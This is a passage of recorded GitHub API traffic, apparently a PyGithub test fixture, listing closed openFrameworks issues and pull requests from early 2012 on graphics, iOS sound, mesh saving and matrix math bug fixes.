directions.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/908","comments":2,"milestone":null,"number":908,"html_url":"https://github.com/openframeworks/openFrameworks/issues/908","assignee":null,"title":"ofPath, ofPolyline, ofCairoRenderer :: arcNegative() support added.","labels":[],"closed_at":"2012-02-25T03:30:47Z","created_at":"2012-02-09T23:24:31Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","id":300484},"id":3165436,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/908","patch_url":"https://github.com/openframeworks/openFrameworks/pull/908.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/908.diff"}},{"updated_at":"2012-02-25T19:10:18Z","body":"This commit implements a GLUT-based solution for keeping track of\r\nmodifier keys. Changes are made to GLUT and the events system.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/907","comments":5,"milestone":null,"number":907,"html_url":"https://github.com/openframeworks/openFrameworks/issues/907","assignee":null,"title":"A GLUT-based solution for keeping track of modifier keys.","labels":[],"closed_at":"2012-02-25T18:29:47Z","created_at":"2012-02-09T23:21:12Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","id":300484},"id":3165400,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/907","patch_url":"https://github.com/openframeworks/openFrameworks/pull/907.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/907.diff"}},{"updated_at":"2012-02-25T11:30:26Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/906","comments":3,"milestone":null,"number":906,"html_url":"https://github.com/openframeworks/openFrameworks/issues/906","assignee":null,"title":"A few small changes to eliminate compiler warnings on OS X.","labels":[],"closed_at":"2012-02-25T11:30:26Z","created_at":"2012-02-09T23:17:28Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","id":300484},"id":3165361,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/906","patch_url":"https://github.com/openframeworks/openFrameworks/pull/906.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/906.diff"}},{"updated_at":"2012-02-09T17:25:22Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/905","comments":0,"milestone":null,"number":905,"html_url":"https://github.com/openframeworks/openFrameworks/issues/905","assignee":null,"title":"fixed ofxiPhoneSetGLViewTransparent(bool b). Now it correctly sets ios glsview transparency.","labels":[],"closed_at":"2012-02-09T17:25:22Z","created_at":"2012-02-09T17:18:57Z","state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878},"id":3160184,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/905","patch_url":"https://github.com/openframeworks/openFrameworks/pull/905.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/905.diff"}},{"updated_at":"2012-02-09T17:16:56Z","body":"edit: sorry for the bad commit range in that last pull request :)\r\n\r\ni tested all these changes against MeshLab, which uses VCGlib internally to parse the ply files.\r\n\r\ni was considering replacing the save function entirely with the binary version, but decided against it because the load() doesn't support binary yet.\r\n\r\nif this pull request can be done, it will help a ton with my next class at ITP where we're covering 3d. having built in load/save for ply clouds and meshes makes a huge difference.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/904","comments":3,"milestone":null,"number":904,"html_url":"https://github.com/openframeworks/openFrameworks/issues/904","assignee":null,"title":"fixed ofMesh saving colors and normals, added binary save","labels":[],"closed_at":"2012-02-09T17:16:56Z","created_at":"2012-02-09T08:08:09Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3153707,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/904","patch_url":"https://github.com/openframeworks/openFrameworks/pull/904.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/904.diff"}},{"updated_at":"2012-02-09T08:07:03Z","body":"i tested all these changes against MeshLab, which uses VCGlib internally to parse the ply files.\r\n\r\ni was considering replacing the save function entirely with the binary version, but decided against it because the load() doesn't support binary yet.\r\n\r\nif this pull request can be done, it will help a ton with my next class at ITP where we're covering 3d. having built in load/save for ply clouds and meshes makes a huge difference.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/903","comments":0,"milestone":null,"number":903,"html_url":"https://github.com/openframeworks/openFrameworks/issues/903","assignee":null,"title":"fixed ofMesh saving colors and normals, added binary save","labels":[],"closed_at":"2012-02-09T08:07:03Z","created_at":"2012-02-09T08:05:32Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3153687,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/903","patch_url":"https://github.com/openframeworks/openFrameworks/pull/903.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/903.diff"}},{"updated_at":"2012-02-09T13:31:41Z","body":"See commit notes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/900","comments":2,"milestone":null,"number":900,"html_url":"https://github.com/openframeworks/openFrameworks/issues/900","assignee":null,"title":"ofPath, ofPolyline, ofCairoRenderer, ofTrueTypeFont, ofGetModifierPressed(GLUT keymodifier addition)","labels":[],"closed_at":"2012-02-09T13:31:41Z","created_at":"2012-02-08T18:51:11Z","state":"closed","user":{"url":"https://api.github.com/users/bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","id":300484},"id":3145547,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/900","patch_url":"https://github.com/openframeworks/openFrameworks/pull/900.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/900.diff"}},{"updated_at":"2012-02-12T00:57:56Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/899","comments":0,"milestone":null,"number":899,"html_url":"https://github.com/openframeworks/openFrameworks/issues/899","assignee":null,"title":"archlinux install scripts: only update packages related to OF","labels":[],"closed_at":"2012-02-12T00:57:56Z","created_at":"2012-02-07T22:04:56Z","state":"closed","user":{"url":"https://api.github.com/users/benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","id":124513},"id":3132166,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/899","patch_url":"https://github.com/openframeworks/openFrameworks/pull/899.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/899.diff"}},{"updated_at":"2012-02-07T08:26:31Z","body":"The download link on the documenation on the openframeworks.cc site just contains an empty (just a few .css-files) archive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/898","comments":1,"milestone":null,"number":898,"html_url":"https://github.com/openframeworks/openFrameworks/issues/898","assignee":null,"title":"ofx Online Documentation Download broken","labels":[],"closed_at":"2012-02-07T08:26:31Z","created_at":"2012-02-06T22:45:53Z","state":"closed","user":{"url":"https://api.github.com/users/faebser","avatar_url":"https://secure.gravatar.com/avatar/6fbc9e499848684791054026c73e0dac?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6fbc9e499848684791054026c73e0dac","login":"faebser","id":333862},"id":3115859,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T18:19:11Z","body":"ofEasing class with static functions for all the penner easing equations + new version of the ofMap function that accepts a parameter for the easing function, like:\r\n\r\nofMap(value, minIn, maxIn, minOut, maxOut, clamp, easingFunction);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/895","comments":0,"milestone":null,"number":895,"html_url":"https://github.com/openframeworks/openFrameworks/issues/895","assignee":null,"title":"ofTween","labels":[],"closed_at":"2012-02-25T18:19:11Z","created_at":"2012-02-04T17:48:34Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3094794,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/895","patch_url":"https://github.com/openframeworks/openFrameworks/pull/895.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/895.diff"}},{"updated_at":"2012-02-04T17:40:32Z","body":"ofEasing class with functions for the penner easing equations + a new version of the ofMap function that takes an additional argument for the easing equation to use","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/894","comments":0,"milestone":null,"number":894,"html_url":"https://github.com/openframeworks/openFrameworks/issues/894","assignee":null,"title":"ofTween","labels":[],"closed_at":"2012-02-04T17:40:32Z","created_at":"2012-02-04T17:40:02Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":3094737,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/894","patch_url":"https://github.com/openframeworks/openFrameworks/pull/894.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/894.diff"}},{"updated_at":"2012-02-09T15:55:33Z","body":"I noticed the ios sound stream is hard coded to use 1 input channel. As of iOS 4.3, the iPad is capable of using usb audio devices through a powered hub, so its desirable to be able to set a stereo input etc.\r\n\r\nThis request fixes #890. I tested in the simulator and on an iPad 2, both with external sound card and internal speakers/mic. A stereo in/out app works without any modifications (no notifications and sound stream restart required).\r\n\r\nAlso, this includes some code cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/893","comments":14,"milestone":null,"number":893,"html_url":"https://github.com/openframeworks/openFrameworks/issues/893","assignee":null,"title":"updated ios sound stream to handle multiple input channels","labels":[],"closed_at":"2012-02-09T15:34:14Z","created_at":"2012-02-04T11:22:45Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3093159,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/893","patch_url":"https://github.com/openframeworks/openFrameworks/pull/893.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/893.diff"}},{"updated_at":"2012-02-09T15:13:44Z","body":"fixes #891\r\nhttps://github.com/openframeworks/openFrameworks/issues/891\r\n\r\nconsider doing same elsewhere (ofImage_, but then also need to deal with textures, and possibility of non-matching texture)\r\n\r\nThis obviously doesn't fit with the 'little as possible' maxim of code\r\ni can't see any other way to use the ofPixels objects for other types, and am curious whether anybody has any objections\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/892","comments":2,"milestone":null,"number":892,"html_url":"https://github.com/openframeworks/openFrameworks/issues/892","assignee":null,"title":"Add extra ofPixels_ types","labels":[],"closed_at":"2012-02-09T15:13:44Z","created_at":"2012-02-04T07:12:21Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3092432,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/892","patch_url":"https://github.com/openframeworks/openFrameworks/pull/892.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/892.diff"}},{"updated_at":"2012-02-12T04:35:37Z","body":"hey!\r\ni'd like to have an `ofPixels_`\r\nbut since this isn't defined in `ofPixels_`, and many of the template functions are in that cpp (and not in the h), i can't just have whatever image type i like.\r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/graphics/ofPixels.cpp\r\n\r\nsuggestions:\r\n1. add lots more possibilities to ofPixels.cpp\r\n2. move a few more important functions over to ofPixels.h (e.g. getPixels, allocate)\r\n\r\ni think 1 is tidier, so i'm doing that in my project branch","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/891","comments":2,"milestone":null,"number":891,"html_url":"https://github.com/openframeworks/openFrameworks/issues/891","assignee":null,"title":"ofPixels limitations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-02-09T15:52:57Z","created_at":"2012-02-04T07:07:07Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3092414,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-09T15:54:40Z","body":"ofxiPhoneSoundStream is assuming the input will only ever be mono (1 channel).\r\n\r\nin /libs/openFrameworks/sound/ofxiPhoneSoundStream.mm, in recordingCallback(), the actual number of channels is being overwritten; \r\nalso in :setup, the malloc of sampleBuffer `sampleBuffer = (short int*) malloc(MAX_BUFFER_SIZE*2);` is ignoring the number of inChannels.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/890","comments":3,"milestone":null,"number":890,"html_url":"https://github.com/openframeworks/openFrameworks/issues/890","assignee":null,"title":"iOS sound input is single channel only","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-02-09T15:54:40Z","created_at":"2012-02-03T16:49:34Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3085576,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-09T15:15:02Z","body":"When using setOrientation the iPhoneKeyboard was not automatically re-orienting itself correctly. These changes fix that problem on on Ipad2 IOS4; could not check it on any other device or IOS.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/889","comments":3,"milestone":null,"number":889,"html_url":"https://github.com/openframeworks/openFrameworks/issues/889","assignee":null,"title":"Bugfix ofx iphone keyboard","labels":[],"closed_at":"2012-02-09T15:15:02Z","created_at":"2012-02-03T13:24:15Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","id":331599},"id":3082911,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/889","patch_url":"https://github.com/openframeworks/openFrameworks/pull/889.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/889.diff"}},{"updated_at":"2012-02-09T15:08:28Z","body":"setOrientation was not working on Ipad2 IOS4; could not check it on any other device or IOS.\r\n\r\nBasically the the enum's for ofOrientation were making apps flip the wrong way left/right. Also was crashing sometimes because was not checking for OF_ORIENTATION_UNKNOWN before setting the orientation.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/888","comments":0,"milestone":null,"number":888,"html_url":"https://github.com/openframeworks/openFrameworks/issues/888","assignee":null,"title":"Bugfix set orientation","labels":[],"closed_at":"2012-02-09T15:08:28Z","created_at":"2012-02-03T13:22:08Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","id":331599},"id":3082885,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/888","patch_url":"https://github.com/openframeworks/openFrameworks/pull/888.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/888.diff"}},{"updated_at":"2012-02-09T15:00:54Z","body":"Tiny bug in closeMovie fixed by reseting width and height to 0; if we't then re-loading a movie in the same instance doesn't work because ofPixels and memGWorld do not get reallocated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/887","comments":0,"milestone":null,"number":887,"html_url":"https://github.com/openframeworks/openFrameworks/issues/887","assignee":null,"title":"Bugfix of quicktime player","labels":[],"closed_at":"2012-02-09T15:00:54Z","created_at":"2012-02-03T13:06:19Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","id":331599},"id":3082756,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/887","patch_url":"https://github.com/openframeworks/openFrameworks/pull/887.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/887.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '37658'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"5a69eb871801e8ffe9ee98c01a2b00b9"'), ('date', 'Tue, 29 May 2012 18:46:32 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/886","html_url":"https://github.com/openframeworks/openFrameworks/issues/886","body":"the change is minor but it was quite a headache trying to figure out what wasn't working.\r\nchanged from \r\n\r\nofxiPhoneSetGLViewTransparent(bool b) {\r\n\r\n\tofxiPhoneGetGLView().opaque = !b;\r\n\r\n}\r\n\r\nto\r\n\r\n\r\nofxiPhoneSetGLViewTransparent(bool b) {\r\n\r\n\tofxiPhoneGetGLView().layer.opaque = !b;\r\n\r\n}","closed_at":"2012-02-09T15:00:24Z","labels":[],"title":"Just a little fix to ofxiPhone. the function ofxiPhoneSetGLViewTransparent now works.","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/886.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/886","diff_url":"https://github.com/openframeworks/openFrameworks/pull/886.diff"},"created_at":"2012-01-31T06:11:44Z","updated_at":"2012-02-09T15:00:24Z","comments":1,"milestone":null,"number":886,"id":3031789,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/885","html_url":"https://github.com/openframeworks/openFrameworks/issues/885","body":"\tif( !ofFile::doesFileExist(pathSrc) ){\r\n\r\nneeds to pass through if the path is absolute or not - note this introduces a second bug which is that we can't mix absolute path and relative paths. \r\n\r\nthe smarter fix is to have doesFileExist check if the file starts with a \"/\" and if so understand it is absolute. ","closed_at":"2012-03-15T18:34:17Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","color":"ff0000","name":"critical"}],"title":"bug in ofFile::copyFromTo ( prob ofDirectory::copyFromTo also )","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-31T01:36:56Z","updated_at":"2012-03-15T18:34:17Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":885,"id":3029989,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/884","html_url":"https://github.com/openframeworks/openFrameworks/issues/884","body":"I found an error in the multiplication of ofMatrix3x3...\r\n\r\nhere is the correct function :\r\n\r\nofMatrix3x3 ofMatrix3x3::operator*(const ofMatrix3x3& B) {\r\n\tofMatrix3x3 C;\r\n\tC.a = a * B.a + b * B.d + c * B.g;\r\n\tC.b = a * B.b + b * B.e + c * B.h;\r\n\tC.c = a * B.c + b * B.f + c * B.i;\r\n\tC.d = d * B.a + e * B.d + f * B.g;\r\n\tC.e = d * B.b + e * B.e + f * B.h;\r\n\tC.f = d * B.c + e * B.f + f * B.i;\r\n\tC.g = g * B.a + h * B.d + i * B.g;\r\n\tC.h = g * B.b + h * B.e + i * B.h;\r\n\tC.i = g * B.c + h * B.f + i * B.i;\r\n\treturn C;\r\n}\r\n\r\nRegards,\r\nMathieu.","closed_at":"2012-03-12T03:29:36Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","color":"ff0000","name":"critical"}],"title":"Error found in ofMatrix3x3","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-28T00:54:06Z","updated_at":"2012-03-12T03:29:36Z","comments":6,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","due_on":"2012-04-08T07:00:00Z","open_issues":0,"title":"0071 Release","created_at":"2011-12-02T15:29:28Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":4,"id":61808,"state":"closed","closed_issues":70},"number":884,"id":3002341,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/lemuzimi","gravatar_id":"311a7493bfeb6437092aee8421c17bef","login":"lemuzimi","avatar_url":"https://secure.gravatar.com/avatar/311a7493bfeb6437092aee8421c17bef?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":644183}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/883","html_url":"https://github.com/openframeworks/openFrameworks/issues/883","body":"Parts of the base openFrameworks library has dependancies \"downstream\" that require you set up your project in the unintuitive, circular and very particular manner the examples are built. \r\n\r\nFound in:\r\nofEvents (ofxEventUtils)\r\nofiPhoneVideoPlayer (ofxiPhoneExtras) - why are there iPhone objects in base?\r\nofLog (ofx*LogChannel)\r\nofSoundPlayer (ofxOpenALSoundPlayer)\r\nofSoundStream (ofx*SoundStream)\r\nofSystemUtils (ofxAndroidUtils)\r\nofVideoGrabber (ofxAndroidVideoGrabber)","closed_at":"2012-02-27T06:00:34Z","labels":[],"title":"base openFrameworks library has dependancies in ofx (addons)","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-27T20:43:00Z","updated_at":"2012-02-27T22:22:49Z","comments":6,"milestone":null,"number":883,"id":2999813,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/yoiang","gravatar_id":"a4bb66a2f2e0ce3f812e68dcf625c753","login":"yoiang","avatar_url":"https://secure.gravatar.com/avatar/a4bb66a2f2e0ce3f812e68dcf625c753?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":89718}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/882","html_url":"https://github.com/openframeworks/openFrameworks/issues/882","body":"there's at least 6 tweening addons right now, i just saw satoru add another :)\r\n\r\nhttp://ofxaddons.com/repos/16\r\nhttp://ofxaddons.com/repos/367\r\nhttp://ofxaddons.com/repos/243\r\nhttp://ofxaddons.com/repos/160\r\nhttp://ofxaddons.com/repos/132\r\nhttps://github.com/satoruhiga/ofxEasingFunc","closed_at":"2012-02-03T17:16:17Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","color":"d68e22","name":"addon"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","color":"37c200","name":"development-strategy"}],"title":"we need a tweening library in the core","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-26T23:22:17Z","updated_at":"2012-02-05T06:37:36Z","comments":6,"milestone":null,"number":882,"id":2987980,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/881","html_url":"https://github.com/openframeworks/openFrameworks/issues/881","body":"or loadMesh/saveMesh.\r\n\r\nit should mirror working with images/everything else.","closed_at":"2012-02-03T11:35:46Z","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"ofMesh::operator<> should be load()/save()","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-01-25T16:56:50Z","updated_at":"2012-02-03T11:35:46Z","comments":0,"milestone":null,"number":881,"id":2967723,"assignee":null,"state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/879","html_url":"https://github.com/openframeworks/openFrameworks/issues/879","body":"binary makes a huge difference when loading and saving large meshes (e.g., kinect depth 